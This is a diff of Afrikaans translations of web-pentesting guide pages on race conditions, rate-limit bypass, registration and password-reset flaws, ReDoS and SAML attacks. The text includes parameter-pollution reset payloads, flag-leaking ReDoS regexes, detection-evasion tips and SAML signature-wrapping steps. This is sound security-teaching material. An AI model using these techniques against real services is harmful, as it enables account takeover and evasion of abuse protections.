 Voor die vorige navorsing was daar 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
 
 - **Herhaler:** Kyk na die voorbeelde van die vorige afdeling.
-- **Indringer**: Stuur die **versoek** na **Indringer**, stel die **aantal drade** op **30** binne die **Opsies-menu en,** kies as payload **Null payloads** en genereer **30.**
+- **Indringer**: Stuur die **versoek** na **Indringer**, stel die **aantal drade** op **30** binne die **Opsies-menu** en kies as payload **Null payloads** en genereer **30.**
 - **Turbo Indringer**
 ```python
 def queueRequests(target, wordlists):
@@ -295,7 +295,7 @@ Daar is baie variasies van hierdie tipe aanval, insluitend:
 
 ### **Versteekte substates**
 
-Die benutting van komplekse race conditions behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien substates** te kommunikeer. Hier is hoe om dit te benader:
+Die benutting van komplekse race conditions behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien substates** te kommunikeer. Hier is hoe om dit aan te pak:
 
 1. **Identifiseer Potensiële Versteekte Substates**
 - Begin deur eindpunte te identifiseer wat kritieke data, soos gebruikersprofiele of wagwoordherstelprosesse, wysig of mee werk. Fokus op:
@@ -309,7 +309,7 @@ Die benutting van komplekse race conditions behels dikwels die benutting van kor
 
 ### Tydsensitiewe Aanvalle
 
-Presisie in die tydsberekening van versoeke kan kwesbaarhede onthul, veral wanneer voorspelbare metodes soos tydstempels vir sekuriteitstokens gebruik word. Byvoorbeeld, die generering van wagwoordherstel tokens gebaseer op tydstempels kan identiese tokens vir gelyktydige versoeke toelaat.
+Presisie in die tydsberekening van versoeke kan kwesbaarhede onthul, veral wanneer voorspelbare metodes soos tydstempels vir sekuriteits tokens gebruik word. Byvoorbeeld, die generering van wagwoordherstel tokens gebaseer op tydstempels kan identiese tokens vir gelyktydige versoeke toelaat.
 
 **Om te Benut:**
 
@@ -317,7 +317,7 @@ Presisie in die tydsberekening van versoeke kan kwesbaarhede onthul, veral wanne
 
 **Voorbeeld:**
 
-- Versoek twee wagwoordherstel tokens op dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generasie aan.
+- Versoek twee wagwoordherstel tokens op dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generasie.
 
 **Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.**
 
@@ -331,13 +331,13 @@ Kyk na hierdie [**PortSwigger Lab**](https://portswigger.net/web-security/logic-
 
 Die idee is om **'n e-posadres te verifieer en dit terselfdertyd na 'n ander een te verander** om uit te vind of die platform die nuwe een wat verander is, verifieer.
 
-### Verander e-pos na 2 e-posadresse koekie-gebaseerd
+### Verander e-pos na 2 e-posadresse Koekie-gebaseerd
 
 Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab kwesbaar vir 'n oorneem op hierdie manier omdat dit mag **stuur** die **e-posverifikasietoken van een e-pos na die ander e-pos**.
 
 **Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.**
 
-### Versteekte Databasis state / Bevestiging Omseiling
+### Versteekte Databasis toestande / Bevestiging Omseiling
 
 As **2 verskillende skrywe** gebruik word om **inligting** binne 'n **databasis** toe te voeg, is daar 'n klein tydsdeel waar **slegs die eerste data geskryf is** binne die databasis. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** **geskryf** word en **dan die token** om die nuut geskepte rekening te bevestig, geskryf word. Dit beteken dat vir 'n kort tyd die **token om 'n rekening te bevestig nul is**.
 
@@ -362,11 +362,11 @@ So, tot hier is dit net 'n algemene aanmelding met google/linkedin/github... waa
 
 #### Race Condition in `authorization_code`
 
-Die **probleem** verskyn wanneer jy dit **aanvaar** en outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan misbruik hierdie **toepassing 'n Race Condition in die OAUth diensverskaffer om meer as een AT/RT** (_Authentication Token/Refresh Token_) van die **`authorization_code`** vir jou rekening te genereer. Basies, dit sal die feit misbruik dat jy die toepassing aanvaar het om toegang tot jou data te verkry om **verskeie rekeninge te skep**. Dan, as jy **stop om die toepassing toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees**.
+Die **probleem** verskyn wanneer jy dit **aanvaar** en outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan, hierdie **toepassing misbruik 'n Race Condition in die OAUth diensverskaffer om meer as een AT/RT** (_Authentication Token/Refresh Token_) van die **`authorization_code`** vir jou rekening te genereer. Basies, dit sal die feit misbruik dat jy die toepassing aanvaar het om toegang tot jou data te verkry om **verskeie rekeninge te skep**. Dan, as jy **stop om die toepassing toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees**.
 
 #### Race Condition in `Refresh Token`
 
-Sodra jy 'n **geldige RT** **verkry** het, kan jy probeer om dit te **misbruik om verskeie AT/RT** te genereer en **selfs as die gebruiker die toestemmings kanselleer** vir die kwaadwillige toepassing om toegang tot sy data te verkry, **sal verskeie RT's steeds geldig wees.**
+Sodra jy 'n **geldige RT** **verkry** het, kan jy probeer om dit te **misbruik om verskeie AT/RT** te genereer en **selfs as die gebruiker die toestemmings** vir die kwaadwillige toepassing om toegang tot sy data te verkry, **sal verskeie RT's steeds geldig wees.**
 
 ## **RC in WebSockets**
 

src/pentesting-web/rate-limit-bypass.md

@@ -30,26 +30,26 @@ X-Forwarded-For: 127.0.0.1
 ```
 ### Verandering van Ander Headers
 
-Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan voorkom dat die versoeker se aktiwiteite erken en gevolg word.
+Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan voorkom dat die versoeker se aktiwiteite herken en gevolg word.
 
 ### Benutting van API Gateway Gedrag
 
-Sommige API-gateways is geconfigureer om koersbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters by die versoek te voeg, is dit moontlik om die gateway se koersbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`.
+Sommige API-gateways is geconfigureer om spoedbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters aan die versoek toe te voeg, is dit moontlik om die gateway se spoedbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`.
 
 ### Teken in op Jou Rekening Voor Elke Poging
 
-Teken in op 'n rekening voor elke poging, of elke stel pogings, kan die koersbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief die koersbeperkings tellers herbegin.
+Teken in op 'n rekening voor elke poging, of elke stel pogings, kan die spoedbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief die spoedbeperkings tellers herbegin.
 
 ### Benutting van Proxy Netwerke
 
-Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde koersbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die koersbeperking verdun.
+Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde spoedbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die spoedbeperking verdun.
 
 ### Verdeling van die Aanval oor Verskillende Rekeninge of Sessies
 
-As die teikenstelsel koersbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly.
+As die teikenstelsel spoedbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly.
 
 ### Hou Aan Probeer
 
-Let daarop dat selfs al is daar 'n koersbeperking in plek, jy moet probeer om te sien of die reaksie verskil wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n koersbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te reageer, as die geldige een gestuur is, is 'n 200 reaksie ontvang.
+Let daarop dat selfs al is daar 'n spoedbeperking in plek, jy moet probeer om te sien of die reaksie anders is wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n spoedbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te antwoord, as die geldige een gestuur is, is 'n 200 reaksie ontvang.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/registration-vulnerabilities.md

@@ -27,7 +27,7 @@ In daardie geval kan jy probeer om akrediteer te brute-force.
 
 ### SQL Inbraak
 
-[**Kontroleer hierdie bladsy** ](sql-injection/#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting via **SQL Inbrake** in registrasievorms te onttrek.
+[**Kontroleer hierdie bladsy** ](sql-injection/#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL Inbrake** in registrasievorms.
 
 ### Oauth Oornames
 
@@ -50,7 +50,7 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie
 - Kontroleer of jy **weggooie e-posse** kan gebruik
 - **Lang** **wagwoord** (>200) lei tot **DoS**
 - **Kontroleer koerslimiete op rekeningcreasie**
-- Gebruik username@**burp_collab**.net en analiseer die **callback**
+- Gebruik username@**burp_collab**.net en analiseer die **terugroep**
 
 ## **Wagwoord Herstel Oornames**
 
@@ -119,7 +119,7 @@ Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommig
 
 ### Wagwoord Herstel Deur Gebruikersnaam Botsing <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
 
-1. Registreer op die stelsel met 'n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
+1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
 2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
 3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
 4. Sluit aan by die slagoffer se rekening met die nuwe wagwoord.

src/pentesting-web/regular-expression-denial-of-service-redos.md

@@ -26,9 +26,9 @@ Al hierdie is kwesbaar vir die invoer `aaaaaaaaaaaaaaaaaaaaaaaa!`.
 
 ### String Exfiltration via ReDoS
 
-In 'n CTF (of bug bounty) mag jy **die Regex wat 'n sensitiewe inligting (die vlag) pas, beheer**. Dan kan dit nuttig wees om die **bladsy te laat vries (timeout of langer verwerkingstyd)** as die **Regex pas** en **nie as dit nie pas nie**. Op hierdie manier sal jy in staat wees om die **string** **karakter vir karakter** te **exfiltreer**:
+In 'n CTF (of bug bounty) mag jy **die Regex wat 'n sensitiewe inligting (die vlag) pas, beheer**. Dan kan dit nuttig wees om die **bladsy te laat vries (timeout of langer verwerkings tyd)** as die **Regex pas** en **nie as dit nie pas nie**. Op hierdie manier sal jy in staat wees om die **string** **karakter vir karakter** te **exfiltreer**:
 
-- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) kan jy hierdie ReDoS-reël vind: `^(?=<flag>)((.*)*)*salt$`
+- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) kan jy hierdie ReDoS reël vind: `^(?=<flag>)((.*)*)*salt$`
 - Voorbeeld: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
 - In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) kan jy hierdie een vind: `<flag>(((((((.*)*)*)*)*)*)*)!`
 - In [**this writeup**](https://ctftime.org/writeup/25869) het hy gebruik: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`

src/pentesting-web/reset-password.md

@@ -6,7 +6,7 @@
 
 - Die HTTP referer header mag die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel nadat hy 'n wagwoord herstel aangevra het.
 - **Impak**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle.
-- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token lek in die referer header, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat gegee is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer header die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
+- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer header lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat verskaf is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer header die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
 - **Verwysings**:
 - [HackerOne Report 342693](https://hackerone.com/reports/342693)
 - [HackerOne Report 272379](https://hackerone.com/reports/272379)
@@ -14,7 +14,7 @@
 
 ## **Wagwoord Herstel Vergiftiging**
 
-- Aanvallers mag die Host header manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te rig.
+- Aanvallers mag die Host header manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys.
 - **Impak**: Lei tot potensiële rekening oorname deur die lek van herstel tokens aan aanvallers.
 - **Versagtingsstappe**:
 - Valideer die Host header teen 'n witlys van toegelate domeine.
@@ -33,7 +33,7 @@ POST /resetPassword
 [...]
 email=victim@email.com&email=attacker@email.com
 ```
-- Voeg aanvaller e-pos as tweede parameter by gebruik van %20
+- Voeg aanvaller se e-pos as tweede parameter by met behulp van %20
 ```php
 POST /resetPassword
 [...]
@@ -70,7 +70,7 @@ POST /resetPassword
 {"email":["victim@mail.tld","atracker@mail.tld"]}
 ```
 - **Versagingsstappe**:
-- Parse en valideer e-posparameters behoorlik aan die bediener-kant.
+- Parseer en valideer e-posparameters behoorlik aan die bediener-kant.
 - Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom.
 - **Verwysings**:
 - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
@@ -79,7 +79,7 @@ POST /resetPassword
 
 ## **Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters**
 
-- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeningbesonderhede te verander.
+- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeningakkredite te verander.
 ```php
 POST /api/changepass
 [...]
@@ -93,7 +93,7 @@ POST /api/changepass
 
 ## **Geen Tariefbeperking: E-pos Bombardering**
 
-- Gebrek aan tariefbeperking op wagwoordherstel versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
+- Gebrek aan tariefbeperking op wagwoordherstelversoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
 - **Mitigeringstappe**:
 - Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening.
 - Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
@@ -102,15 +102,15 @@ POST /api/changepass
 
 ## **Vind uit Hoe Wagwoordherstel Token Geproduseer Word**
 
-- Om die patroon of metode agter token generasie te verstaan, kan lei tot voorspellings of brute-forcing van tokens. Sommige opsies:
+- Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
 - Gebaseer op Tydstempel
 - Gebaseer op die GebruikerID
-- Gebaseer op e-pos van die Gebruiker
+- Gebaseer op die e-pos van die Gebruiker
 - Gebaseer op Voornaam en Van
 - Gebaseer op Geboortedatum
-- Gebaseer op Krypto-grafie
+- Gebaseer op Kriptografie
 - **Mitigeringstappe**:
-- Gebruik sterk, krypto-grafiese metodes vir token generasie.
+- Gebruik sterk, kriptografiese metodes vir token generasie.
 - Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
 - **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te analiseer.
 
@@ -139,7 +139,7 @@ uuid-insecurities.md
 
 - Toets of vervalde tokens steeds gebruik kan word vir wagwoordherstel.
 - **Mitigeringstappe**:
-- Implementeer strikte token vervaldatabele en valideer token vervaldatum bediener-kant.
+- Implementeer strikte token vervaldatabele en valideer token vervaldatum aan die bedienerkant.
 
 ## **Brute Force Wagwoordherstel Token**
 
@@ -150,7 +150,7 @@ uuid-insecurities.md
 
 ## **Probeer Jou Token Gebruik**
 
-- Toets of 'n aanvaller se herstel token gebruik kan word in samewerking met die slagoffer se e-pos.
+- Toets of 'n aanvaller se herstel token gebruik kan word saam met die slagoffer se e-pos.
 - **Mitigeringstappe**:
 - Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is.
 
@@ -164,7 +164,7 @@ uuid-insecurities.md
 
 - Herstel tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
 - **Mitigeringstappe**:
-- Stel 'n redelike vervaldatum vir herstel tokens in en handhaaf dit streng bediener-kant.
+- Stel 'n redelike vervaldatum vir herstel tokens in en handhaaf dit streng aan die bedienerkant.
 
 ## Verwysings
 

src/pentesting-web/saml-attacks/README.md

@@ -1,6 +1,6 @@
-# SAML Aanvalle
+# SAML-aanvalle
 
-## SAML Aanvalle
+## SAML-aanvalle
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -16,7 +16,7 @@ saml-basics.md
 
 ## XML rondreis
 
-In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/ontkodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, **kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie**.
+In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/dekodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/dekodering nie die data te verander nie, maar gebaseer op daardie scenario, **kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie**.
 
 Byvoorbeeld, kyk na die volgende kode:
 ```ruby
@@ -42,7 +42,7 @@ Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien he
 
 ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
 
-En dit is hoe dit gesien is na 'n ronde van ontleding en serialisering:
+En dit is hoe dit gesien is na 'n ronde van parsing en serialisering:
 
 ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
 
@@ -104,18 +104,18 @@ Die volgende aanvalle is gebaseer op [**hierdie blogpos**](https://epi052.gitlab
 - **Strategie**: 'n Extensions element word ingevoeg met die gekopieerde Assertion as 'n kind.
 - **Implikasie**: Dit benut die minder beperkende skema van die Extensions element om skema validasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.
 
-![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-7.svg](<../../images/image (971).png>)
+![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
 
 ### XSW #8
 
 - **Verskil van XSW #7**: Gebruik 'n ander minder beperkende XML element vir 'n variasie van die aanval.
 - **Implikasie**: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik is, omkeer.
 
-![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-8.svg](<../../images/image (541).png>)
+![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
 
-### Gereedskap
+### Tool
 
-Jy kan die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die versoek te ontleed, enige XSW aanval wat jy kies toe te pas, en dit te loods.
+Jy kan die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die versoek te parseer, enige XSW aanval wat jy kies toe te pas, en dit te loods.
 
 ## XXE
 
@@ -125,7 +125,7 @@ As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bla
 ../xxe-xee-xml-external-entity.md
 {{#endref}}
 
-SAML Responses is **ontplofte en base64-gecodeerde XML-dokumente** en kan kwesbaar wees vir XML Eksterne Entiteit (XXE) aanvalle. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:
+SAML Responses is **ontplofte en base64-gecodeerde XML-dokumente** en kan kwesbaar wees vir XML Externe Entiteit (XXE) aanvalle. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [
@@ -201,7 +201,7 @@ Met die handtekeninge verwyder, laat die versoek voortgaan na die teiken. As die
 
 ## Sertifikaat Valsheid
 
-Sertifikaat Valsheid is 'n tegniek om te toets of 'n **Diensverskaffer (SP) behoorlik verifieer dat 'n SAML Boodskap onderteken is** deur 'n vertroude Identiteitsverskaffer (IdP). Dit behels die gebruik van 'n \***self-signed certificate** om die SAML Antwoord of Asertering te onderteken, wat help om die vertrouensvalidasieproses tussen SP en IdP te evalueer.
+Sertifikaat Valsheid is 'n tegniek om te toets of 'n **Diensverskaffer (SP) behoorlik verifieer dat 'n SAML Boodskap onderteken is** deur 'n vertroude Identiteitsverskaffer (IdP). Dit behels die gebruik van 'n \***self-signed certificate** om die SAML Antwoord of Bevestiging te onderteken, wat help om die vertrouensvalidasieproses tussen SP en IdP te evalueer.
 
 ### Hoe om Sertifikaat Valsheid uit te voer
 
@@ -212,18 +212,18 @@ Die volgende stappe skets die proses met die [SAML Raider](https://portswigger.n
 3. In die SAML Raider Sertifikate oortjie, kies die ingevoerde sertifikaat en klik `Stoor en Self-Handteken` om 'n self-ondertekende kloon van die oorspronklike sertifikaat te skep.
 4. Gaan terug na die geïntercepteerde versoek in Burp se Proxy. Kies die nuwe self-ondertekende sertifikaat uit die XML Handtekening keuselys.
 5. Verwyder enige bestaande handtekeninge met die `Verwyder Handtekeninge` knoppie.
-6. Onderteken die boodskap of asertering met die nuwe sertifikaat met die **`(Her-)Onderteken Boodskap`** of **`(Her-)Onderteken Asertering`** knoppie, soos toepaslik.
-7. Stuur die ondertekende boodskap voort. Suksevolle autentisering dui aan dat die SP boodskappe onderteken deur jou self-ondertekende sertifikaat aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.
+6. Onderteken die boodskap of bevestiging met die nuwe sertifikaat met die **`(Her-)Onderteken Boodskap`** of **`(Her-)Onderteken Bevestiging`** knoppie, soos toepaslik.
+7. Stuur die ondertekende boodskap voort. Suksevolle outentisering dui aan dat die SP boodskappe onderteken deur jou self-ondertekende sertifikaat aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.
 
 ## Token Ontvanger Verwarring / Diensverskaffer Teiken Verwarring <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
 
-Token Ontvanger Verwarring en Diensverskaffer Teiken Verwarring behels die toets of die **Diensverskaffer die bedoelde ontvanger van 'n antwoord korrek valideer**. In wese moet 'n Diensverskaffer 'n autentikasieantwoord verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die **Ontvanger** veld, wat binne die **SubjectConfirmationData** element van 'n SAML Antwoord gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Asertering gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, moet die Asertering as ongeldig beskou word.
+Token Ontvanger Verwarring en Diensverskaffer Teiken Verwarring behels die toets of die **Diensverskaffer korrek die bedoelde ontvanger van 'n antwoord valideer**. In wese moet 'n Diensverskaffer 'n outentikasie antwoord verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die **Ontvanger** veld, wat binne die **SubjectConfirmationData** element van 'n SAML Antwoord gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Bevestiging gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, moet die Bevestiging as ongeldig beskou word.
 
 #### **Hoe Dit Werk**
 
-Vir 'n SAML Token Ontvanger Verwarring (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes nagekom word. Eerstens, daar moet 'n geldige rekening op 'n Diensverskaffer wees (genoem SP-Legit). Tweedens, die geteikende Diensverskaffer (SP-Target) moet tokens van dieselfde Identiteitsverskaffer aanvaar wat SP-Legit bedien.
+Vir 'n SAML Token Ontvanger Verwarring (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes nagekom word. Eerstens, daar moet 'n geldige rekening op 'n Diensverskaffer wees (genoem SP-Legit). Tweedens, die geteikende Diensverskaffer (SP-Teiken) moet tokens van dieselfde Identiteitsverskaffer aanvaar wat SP-Legit bedien.
 
-Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Egte sessie word geinitieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML Antwoord van die Identiteitsverskaffer na SP-Legit word geïntercepteer. Hierdie geïntercepteerde SAML Antwoord, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Target. Sukces in hierdie aanval word gemeet deur SP-Target wat die Asertering aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.
+Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Echte sessie word geinitieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML Antwoord van die Identiteitsverskaffer na SP-Legit word geïntercepteer. Hierdie geïntercepteerde SAML Antwoord, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Teiken. Sukses in hierdie aanval word gemeet deur SP-Teiken wat die Bevestiging aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.
 ```python
 # Example to simulate interception and redirection of SAML Response
 def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@@ -252,7 +252,7 @@ Tydens die proses van gids brute forcing, is 'n afmeldbladsy ontdek by:
 ```
 https://carbon-prototype.uberinternal.com:443/oidauth/logout
 ```
-By die toegang tot hierdie skakel het 'n herleiding plaasgevind na:
+By die toegang tot hierdie skakel, het 'n herleiding plaasgevind na:
 ```
 https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
 ```

src/pentesting-web/saml-attacks/saml-basics.md

@@ -2,11 +2,11 @@
 
 # SAML Oorsig
 
-**Security Assertion Markup Language (SAML)** stel identiteitsverskaffers (IdP) in staat om gebruik te word om magtigingsbewyse na diensverskaffers (SP) te stuur, wat enkel aanmelding (SSO) fasiliteer. Hierdie benadering vereenvoudig die bestuur van verskeie aanmeldings deur 'n enkele stel van bewysstukke oor verskeie webwerwe te gebruik. Dit benut XML vir gestandaardiseerde kommunikasie tussen IdP's en SP's, wat die verifikasie van gebruikersidentiteit met diensmagtiging verbind.
+**Security Assertion Markup Language (SAML)** stel identiteitsverskaffers (IdP) in staat om gebruik te word om magtigingsbewyse na diensverskaffers (SP) te stuur, wat enkel aanmelding (SSO) fasiliteer. Hierdie benadering vereenvoudig die bestuur van verskeie aanmeldings deur 'n enkele stel van magtigingsbewyse oor verskeie webwerwe te gebruik. Dit benut XML vir gestandaardiseerde kommunikasie tussen IdP's en SP's, wat die verifikasie van gebruikersidentiteit met diensmagtiging verbind.
 
 ## Vergelyking tussen SAML en OAuth
 
-- **SAML** is daarop gemik om ondernemings groter beheer oor SSO aanmeldingsveiligheid te bied.
+- **SAML** is gerig op die verskaffing van groter beheer oor SSO aanmeldingsveiligheid vir ondernemings.
